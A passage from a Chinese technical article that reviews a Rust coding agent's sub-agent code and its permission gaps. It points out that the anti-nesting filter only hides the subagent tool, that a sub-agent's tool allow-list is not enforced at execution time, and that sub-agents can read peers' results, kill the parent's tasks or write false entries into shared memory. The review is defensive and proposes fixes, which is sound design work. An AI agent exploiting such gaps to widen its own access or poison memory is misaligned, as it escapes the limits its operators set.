<span class="w">    </span><span class="p">.</span><span class="n">subagents</span>
<span class="w">    </span><span class="p">.</span><span class="n">iter</span><span class="p">()</span>
<span class="w">    </span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="o">|</span><span class="n">s</span><span class="o">|</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">name</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">name</span><span class="p">)</span>
<span class="w">    </span><span class="p">.</span><span class="n">ok_or_else</span><span class="p">(</span><span class="o">||</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;unknown sub-agent `{name}`&quot;</span><span class="p">))</span><span class="o">?</span><span class="p">;</span>
</code></pre></div>


失败路径是有价值的：错误会经 <code>finish_err</code> 记到任务板上，状态是 <code>failed</code>，预览里是那句 <code>unknown sub-agent</code>。也就是说模型可以自己发现「我记错了名字」。

但它也有一个盲点：<strong>没有可发现性输入</strong>。<code>subagent</code> 工具的 JSON schema 里，<code>name</code> 只是一个 <code>string</code>，描述是「要调用的子代理名字」，没有任何 enum 或默认值列出可用名字。模型能知道有哪些子代理，唯一的途径是系统提示词里写了——而 <code>prompt.rs</code> 里根本没有拼装子代理名单这回事（<code>system_prompt</code> 只处理模式提示、persona、<code>AGENTS.md</code>）。子代理名字对模型是隐形的。

实践中这意味着：要么用户在自己的 persona 里手写名单，要么模型只能靠猜。而猜错的成本是一次失败的 LLM 往返（它得先决定调用，拿到 <code>unknown sub-agent</code> 才知道错了，再猜一次）。
<h2>子代理的工具清单是怎么裁出来的</h2>

裁剪分三步，顺序不能换：
<div class="codehilite"><pre><span></span><code><span class="c1">// 1. 先拿父代理的完整清单（已经过权限模式和黑白名单过滤）</span>
<span class="kd">let</span><span class="w"> </span><span class="n">all_tools</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">build_tools</span><span class="p">();</span>
<span class="c1">// 2. 如果子代理声明了白名单，按名字过滤</span>
<span class="kd">let</span><span class="w"> </span><span class="n">tool_list</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Value</span><span class="o">&gt;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">!</span><span class="n">def</span><span class="p">.</span><span class="n">allowed_tools</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">all_tools</span><span class="p">.</span><span class="n">as_array</span><span class="p">().</span><span class="n">cloned</span><span class="p">().</span><span class="n">unwrap_or_default</span><span class="p">()</span>
<span class="w">        </span><span class="p">.</span><span class="n">into_iter</span><span class="p">()</span>
<span class="w">        </span><span class="p">.</span><span class="n">filter</span><span class="p">(</span><span class="o">|</span><span class="n">t</span><span class="o">|</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="kd">let</span><span class="w"> </span><span class="n">tname</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="cm">/* ... name ... */</span><span class="p">;</span>
<span class="w">            </span><span class="n">def</span><span class="p">.</span><span class="n">allowed_tools</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">any</span><span class="p">(</span><span class="o">|</span><span class="n">a</span><span class="o">|</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">tname</span><span class="p">)</span>
<span class="w">        </span><span class="p">})</span>
<span class="w">        </span><span class="p">.</span><span class="n">collect</span><span class="p">()</span>
<span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">all_tools</span><span class="p">.</span><span class="n">as_array</span><span class="p">().</span><span class="n">cloned</span><span class="p">().</span><span class="n">unwrap_or_default</span><span class="p">()</span>
<span class="p">};</span>
<span class="c1">// 3. 排除 `subagent` 自己，防止无限嵌套</span>
<span class="kd">let</span><span class="w"> </span><span class="n">tool_list</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Value</span><span class="o">&gt;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">tool_list</span><span class="p">.</span><span class="n">into_iter</span><span class="p">()</span>
<span class="w">    </span><span class="p">.</span><span class="n">filter</span><span class="p">(</span><span class="o">|</span><span class="n">t</span><span class="o">|</span><span class="w"> </span><span class="cm">/* name */</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="s">&quot;subagent&quot;</span><span class="p">))</span>
<span class="w">    </span><span class="p">.</span><span class="n">collect</span><span class="p">();</span>
</code></pre></div>


第一步是关键的：<strong>子代理的工具清单是父代理清单的子集</strong>。这意味着 06 里的五道闸门对子代理仍然有效——<code>plan</code> 模式下的子代理也拿不到 <code>write_file</code>，<code>disallowed_tools</code> 里的工具也一样不在。这一点比「给子代理独立的权限配置」要安全得多，因为它保证了子代理不可能比父代理更能干。

第二步的匹配是精确字符串比较，没有通配。写 <code>"read_*"</code> 不会匹配 <code>read_file</code>——shim 一个也没有，就是字面量 <code>find</code>。这和 06 里钩子的 <code>matches()</code> 支持通配形成了对比：同一个配置体系里，两处匹配规则不同，是容易踩的。

第三步用名字排除 <code>subagent</code>。这个做法在「防止模型看到这个工具」这个目标上是有效的，但它的作用域仅限于此（下节展开）。

还有一个容易忽略的点：<code>agent_list</code> <strong>没有</strong>被排除。所以子代理可以看到任务板上所有任务，包括父代理自己的、以及兄弟们的结果预览。对「让子代理了解全局进度」这是优点；对「子代理被裁掉了大部分工具但仍能读到别人的产出」这是信息面被意外放宽——一个只允许 <code>read_file</code> 的审查子代理，可以通过 <code>agent_list</code> 看到另一个子代理的完整结果摘要（500 字符）。如果那个摘要里含敏感内容，<code>allowed_tools</code> 的限制就被绕过了。
<h2>防嵌套只挡住了广告位，没挡住执行</h2>

那行 <code>!= Some("subagent")</code> 的注释写得很明确：「防止无限嵌套」。它确实防住了最常见的一条路径：子代理看不到 <code>subagent</code> 工具，所以不会主动调用它。

但它防的不是全部。理由在 <code>execute</code> 的检查链上：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="n">reason</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">check_tool</span><span class="p">(</span><span class="o">&amp;</span><span class="n">call</span><span class="p">.</span><span class="n">name</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;ERROR: {reason}&quot;</span><span class="p">);</span><span class="w"> </span><span class="p">}</span>
</code></pre></div>


<code>check_tool</code> 查三样东西：模式封禁、黑名单、非空白名单。<code>subagent</code> 不在任何模式的 <code>blocked_tools</code> 里，也不在默认的黑名单里，而默认白名单是空的——所以<strong>执行期没有任何一层会拒绝 <code>subagent</code></strong>。拒绝只发生在「模型看不见它」这一步。

于是只要模型输出里出现了一次 <code>"name": "subagent"</code> 的工具调用，链路就通了：<code>run_tool</code> 里的分支是纯字符串比较。
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s">&quot;subagent&quot;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">sname</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">&quot;name&quot;</span><span class="p">).</span><span class="n">and_then</span><span class="p">(</span><span class="o">|</span><span class="n">n</span><span class="o">|</span><span class="w"> </span><span class="n">n</span><span class="p">.</span><span class="n">as_str</span><span class="p">()).</span><span class="n">unwrap_or</span><span class="p">(</span><span class="s">&quot;&quot;</span><span class="p">);</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">task</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">&quot;task&quot;</span><span class="p">).</span><span class="n">and_then</span><span class="p">(</span><span class="o">|</span><span class="n">t</span><span class="o">|</span><span class="w"> </span><span class="n">t</span><span class="p">.</span><span class="n">as_str</span><span class="p">()).</span><span class="n">unwrap_or</span><span class="p">(</span><span class="s">&quot;&quot;</span><span class="p">);</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="k">match</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">run_subagent</span><span class="p">(</span><span class="n">sname</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="cm">/* ... */</span><span class="w"> </span><span class="p">};</span>
<span class="p">}</span>
</code></pre></div>


这种调用从哪来？
<ul>
<li>模型幻觉出一个不存在的工具名（少见，但 <code>subagent</code> 是它在父代理上下文里见过的名字，属于记忆污染）</li>
<li>会话是从父代理继承的消息历史里恢复的，历史里有 <code>subagent</code> 的调用样例</li>
<li>用户通过 MCP 或 persona 明确要求「即使工具清单里没有也试着调用」</li>
</ul>

第三条不成立——模型不会执行「清单外」的指令。但第二条成立：<code>replace_messages</code> 会把一份含 <code>subagent</code> 调用记录的会话装进来，模型看得见它曾经用过这个工具。这时候工具清单里没有它，模型的合规概率很高，但推不出必然。

所以正确的说法是：<strong>防嵌套是一道「广告位过滤」，不是一道「执行期闸门」</strong>。要让它是闸门，应该在 <code>check_tool</code> 里加一条「子代理上下文禁止 <code>subagent</code>」，或者给 <code>Ctx</code> 加一个 <code>depth: usize</code> 并在 <code>run_subagent</code> 入口断言 <code>depth == 0</code>。后者更彻底：它同时防住了嵌套过深（比如允许两层、禁止三层）。
<h2>子代理内部为什么是串行的</h2>

子代理循环里，工具调用是一个 <code>for</code> 而不是 <code>thread::scope</code>：
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">_</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="mi">0</span><span class="o">..</span><span class="n">sub_cfg</span><span class="p">.</span><span class="n">max_iterations</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">turn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">llm</span><span class="p">::</span><span class="n">chat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sub_cfg</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">messages</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">tools</span><span class="p">,</span><span class="w"> </span><span class="o">|</span><span class="n">_</span><span class="o">|</span><span class="w"> </span><span class="p">{})</span><span class="o">?</span><span class="p">;</span>
<span class="w">    </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">content</span><span class="p">.</span><span class="n">clone</span><span class="p">();</span>
<span class="w">    </span><span class="n">messages</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">assistant_message</span><span class="p">(</span><span class="o">&amp;</span><span class="n">turn</span><span class="p">));</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="p">.</span><span class="n">is_empty</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">break</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="c1">// Execute sub-agent tool calls sequentially (sub-agents are bounded).</span>
<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">&amp;</span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="n">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">call</span><span class="p">);</span>
<span class="w">        </span><span class="n">messages</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">json</span><span class="o">!</span><span class="p">({</span><span class="w"> </span><span class="s">&quot;role&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;tool&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;tool_call_id&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">call</span><span class="p">.</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;content&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">out</span><span class="w"> </span><span class="p">}));</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


注释给的理由是「子代理是有界的」。这个理由站得住：父代理的并行是为了让四个不相关的工具调用重叠，而子代理的数量本来就被门限在 4，再往下并行会让实际并发数变成 4 × N，门的语义就失真了。

但这个选择和 05 里讲的另一件事冲突：父代理的并行工具调用走 <code>thread::scope</code>，子代理串行。也就是说<strong>「同一套 <code>execute</code> 在两个不同的编排策略下被调用」</strong>。后果是 05 里那个「同文件并发 <code>edit_file</code> 丢失更新」的缺陷，在子代理内部不存在（串行天然不冲突），但父代理的四个并行子代理之间仍然存在——它们各自串行，四者并行，最后一起写同一个文件。

换句话说，串行只消除了「一层内的冲突」，没有消除「跨层的冲突」。真正需要的是文件级锁或是「同一文件不允许两个子代理同时写」的调度约束。

还有一处更细的差别：子代理循环里<strong>没有调用 <code>compact()</code></strong>。父代理每轮结束都会：
<div class="codehilite"><pre><span></span><code><span class="bp">self</span><span class="p">.</span><span class="n">compact</span><span class="p">();</span>
</code></pre></div>


子代理则是跑满 <code>max_iterations</code> 也不压缩。40 轮 × 每轮最多 20,000 字符的工具结果（<code>max_output</code>），最坏情况接近 800k 字符留在局部 <code>messages</code> 里——而父代理的预算是 120,000。子代理没有自己的预算，也没有借用父代理的。
<h2>子代理继承了什么：sub_cfg 与父配置的差异面</h2>

<code>sub_cfg</code> 是父配置的克隆，改动只有两处：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">sub_cfg</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">clone</span><span class="p">();</span>
<span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">m</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">&amp;</span><span class="n">def</span><span class="p">.</span><span class="n">model</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">sub_cfg</span><span class="p">.</span><span class="n">model</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">m</span><span class="p">.</span><span class="n">clone</span><span class="p">();</span><span class="w"> </span><span class="p">}</span>
<span class="c1">// Sub-agents never stream (we want the full response to return).</span>
<span class="n">sub_cfg</span><span class="p">.</span><span class="n">stream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
</code></pre></div>


完整差异表：
<div class="table-scroll"><table>
<thead>
<tr>
<th>配置项</th>
<th>子代理的值</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>model</code></td>
<td><code>def.model</code> 或父值</td>
<td>唯一的能力差异点</td>
</tr>
<tr>
<td><code>stream</code></td>
<td>强制 false</td>
<td>要完整响应</td>
</tr>
<tr>
<td><code>max_iterations</code></td>
<td>父值（默认 40）</td>
<td>一个子代理可以跑满 40 轮</td>
</tr>
<tr>
<td><code>temperature</code></td>
<td>父值（默认 0.0）</td>
<td>不可为子代理单独调</td>
</tr>
<tr>
<td><code>max_tokens</code></td>
<td>父值（默认 4096）</td>
<td>同上</td>
</tr>
<tr>
<td><code>timeout_secs</code></td>
<td>父值（默认 120）</td>
<td>单次请求超时</td>
</tr>
<tr>
<td><code>max_retries</code></td>
<td>父值（默认 2）</td>
<td>重试次数</td>
</tr>
<tr>
<td><code>permission_mode</code></td>
<td>父值</td>
<td>子代理不会比父代理更宽</td>
</tr>
<tr>
<td><code>allowed_tools</code></td>
<td>父值（<strong>不是</strong> <code>def.allowed_tools</code>）</td>
<td>关键差异，见下</td>
</tr>
<tr>
<td><code>hooks</code></td>
<td>父值</td>
<td>钩子对子代理生效</td>
</tr>
</tbody>
</table></div>

表里那个加粗的行是本文第二重要的发现：

<strong>执行期的权限检查用的是 <code>self.cfg</code>，不是 <code>sub_cfg</code>。</strong>
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">run_subagent_inner</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="c1">// ...</span>
<span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">&amp;</span><span class="n">turn</span><span class="p">.</span><span class="n">tool_calls</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="n">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">call</span><span class="p">);</span><span class="w">   </span><span class="c1">// &lt;- self.execute，内部用 self.cfg.check_tool</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


<code>self.cfg.allowed_tools</code> 是父代理的允许列表。如果用户给它配了 <code>["read_file", "grep"]</code>，那么子代理的所有工具调用都会被这个列表卡住——包括那些在 <code>def.allowed_tools</code> 里明确允许的。反过来，如果父代理的 <code>allowed_tools</code> 是空的（默认），那么 <code>def.allowed_tools</code> 就<strong>完全不参与执行检查</strong>。

结论要写清楚：<code>def.allowed_tools</code> 是一个「广告位过滤」，执行期真正生效的是父代理的 <code>allowed_tools</code>。两者叠加的效果是「交集，但只在对父代理收紧时收紧」。所以：
<ul>
<li>想让子代理只会读 → 靠 <code>def.allowed_tools</code>，工具清单里就没有写工具，模型基本不会去调</li>
<li>想保证子代理不可能写 → 必须在 <code>check_tool</code> 层面收紧，而不是靠 <code>def.allowed_tools</code></li>
</ul>

05 里把这条记成了「子代理的 <code>allowed_tools</code> 不参与执行检查」，07 补上了另一半：它不仅不参与，还会被父代理的列表<strong>反向覆盖</strong>。
<h2>子代理不注入记忆，也不沉淀记忆</h2>

03 里讲过，父代理每一轮开头都会重检索记忆并整体替换系统消息里的注入块：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">user_text</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">memory</span><span class="p">::</span><span class="n">content_text</span><span class="p">(</span><span class="o">&amp;</span><span class="n">content</span><span class="p">);</span>
<span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">dir</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">memory_dir</span><span class="p">.</span><span class="n">clone</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">block</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">memory</span><span class="p">::</span><span class="n">retrieve_block</span><span class="p">(</span><span class="o">&amp;</span><span class="n">dir</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">user_text</span><span class="p">);</span>
<span class="w">    </span><span class="bp">self</span><span class="p">.</span><span class="n">set_memory_block</span><span class="p">(</span><span class="o">&amp;</span><span class="n">block</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


子代理没有这一步。它的消息向量是手搓的两条：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">messages</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Value</span><span class="o">&gt;</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">vec!</span><span class="p">[</span>
<span class="w">    </span><span class="n">json</span><span class="o">!</span><span class="p">({</span><span class="w"> </span><span class="s">&quot;role&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;system&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;content&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">def</span><span class="p">.</span><span class="n">prompt</span><span class="w"> </span><span class="p">}),</span>
<span class="w">    </span><span class="n">json</span><span class="o">!</span><span class="p">({</span><span class="w"> </span><span class="s">&quot;role&quot;</span><span class="p">:</span><span class="w"> </span><span class="s">&quot;user&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;content&quot;</span><span class="p">:</span><span class="w"> </span><span class="nc">task</span><span class="w"> </span><span class="p">}),</span>
<span class="p">];</span>
</code></pre></div>


于是子代理的视野里只有三样东西：自己的提示词、父代理给的任务描述、以及自己调工具的结果。它不知道用户上周提过什么偏好，也不知道这个仓库的历史约定。

这个设计有两个真实的后果。

<strong>第一，任务描述必须自包含。</strong> 父代理写 <code>task</code> 的时候，不能写「按之前说的那个方式改」——子代理看不到「之前」。它得把上下文压进 task 字符串里，而 task 字符串本身没有长度限制检查（<code>clamp</code> 只作用于工具返回值，不作用于入参）。一段 10k 字符的 task 会原样进到子代理的第一次请求里。

<strong>第二，子代理的产出不会沉淀成记忆。</strong> <code>distill_memories</code> 只在父代理的 <code>run()</code> 收尾被调用：
<div class="codehilite"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="n">completed</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">memory</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="bp">self</span><span class="p">.</span><span class="n">distill_memories</span><span class="p">(</span><span class="o">&amp;</span><span class="n">user_text</span><span class="p">,</span><span class="w"> </span><span class="n">had_tools</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


子代理跑完不提炼。这是对的——否则四个子代理会各自往记忆库里塞四条近似的记录，而 03 里讲的去重阈值（12 字节）不足以合并它们。代价是：如果子代理是唯一看到某个关键结论的角色（比如它读了一个父代理没读的文件），那个结论只存在于它返回的那段文本里，父代理转述时可能丢细节。
<h2>子代理共享 Ctx：三个被忽视的副作用</h2>

<code>Ctx</code> 里的东西全部被父子共享，因为 <code>run_subagent</code> 走的是 <code>self.execute</code>，而 <code>self.ctx</code> 只有一个。三个副作用：

<strong>副作用一：待办清单会被覆盖。</strong> <code>todo_write</code> 的实现是整体替换：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">replace</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">items</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Todo</span><span class="o">&gt;</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">String</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">guard</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">items</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">    </span><span class="o">*</span><span class="n">guard</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">items</span><span class="p">;</span>
<span class="w">    </span><span class="n">render</span><span class="p">(</span><span class="o">&amp;</span><span class="n">guard</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


一个子代理写自己的三步步计划，父代理刚建的五步计划就没了。<code>MAX_ITEMS = 50</code> 也不能阻止这件事——它是替换不是追加。所以「让子代理自己规划」这件事在多体下是不安全的，除非待办清单加上归属字段（<code>owner</code>）并按 owner 过滤。

<strong>副作用二：后台任务会被杀掉。</strong> <code>TaskManager</code> 同样是 <code>Ctx</code> 里的一个字段，子代理的 <code>task_kill</code> 能杀父代理起的后台服务。而 <code>task_list</code> 会列出所有任务，包括不是它起的。06 讲的「工具名不是能力边界」在这里有一个多体版本：<strong>「谁起的任务」这个信息在任务表里不存在</strong>，所以没有任何一层能阻止跨角色操作。

<strong>副作用三：记忆目录是共享的。</strong> 子代理可以调 <code>memory_save</code> 往父代理的记忆库里写。子代理的 <code>def.prompt</code> 里如果写了「把你发现的重要事实存入记忆」，它会照做，而这些记录没有「由哪个子代理写入」的标记。03 讲的四类记忆里，<code>fact</code> 类是可以跨会话再被检索回来的——一条子代理写的、写错的「事实」，会污染后续所有会话。

这三个副作用的共同修法是同一个：<strong>给共享状态加归属</strong>。<code>Todo { owner }</code>、<code>Task { owner }</code>、<code>Memory { source }</code>，然后在工具层按当前角色过滤。改动不大，但需要先承认「共享」是有代价的。
<h2>任务板：一个只追加的观测结构</h2>

任务板是这篇文章里最完整的部分。它的结构只有两个锁：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Board</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">jobs</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Job</span><span class="o">&gt;&gt;</span><span class="p">,</span>
<span class="w">    </span><span class="n">seq</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="o">&lt;</span><span class="kt">u64</span><span class="o">&gt;</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


<code>Job</code> 记录了七个字段：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Job</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">id</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">task</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">status</span><span class="p">:</span><span class="w"> </span><span class="nc">JobStatus</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">result</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="p">,</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="n">duration</span><span class="p">:</span><span class="w"> </span><span class="nb">Option</span><span class="o">&lt;</span><span class="n">Duration</span><span class="o">&gt;</span><span class="p">,</span>
<span class="w">    </span><span class="n">started</span><span class="p">:</span><span class="w"> </span><span class="nc">Instant</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div>


三个设计点：

<strong>第一，<code>started</code> 是私有的，<code>duration</code> 是公开的。</strong> 外部只能看到「跑了多久」，看不到「什么时候开始」。这避免了时间戳时钟漂移带来的困惑，但也意味着「两个任务是不是同时跑的」这个问题在板子上回答不了——只有 <code>list()</code> 的顺序（登记顺序）和每个任务的耗时，没有区间重叠信息。

<strong>第二，状态只有三种：<code>Running</code>、<code>Done</code>、<code>Failed</code>。</strong>
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">enum</span><span class="w"> </span><span class="nc">JobStatus</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">Running</span><span class="p">,</span><span class="w"> </span><span class="n">Done</span><span class="p">,</span><span class="w"> </span><span class="n">Failed</span><span class="w"> </span><span class="p">}</span>
</code></pre></div>


没有 <code>Cancelled</code>、没有 <code>Queued</code>、没有 <code>TimedOut</code>。第七节会讲 <code>Queued</code> 的缺失为什么是一个真实问题（排队中的任务显示成 running）。

<strong>第三，只追加，不清理。</strong> 没有 <code>remove</code>、没有 <code>clear</code>、没有容量上限。<code>jobs</code> 会一直长，<code>seq</code> 会一直涨。

<code>finish</code> 用 id 查找，找不到就静默返回：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">finish</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">id</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">status</span><span class="p">:</span><span class="w"> </span><span class="nc">JobStatus</span><span class="p">,</span><span class="w"> </span><span class="n">result</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
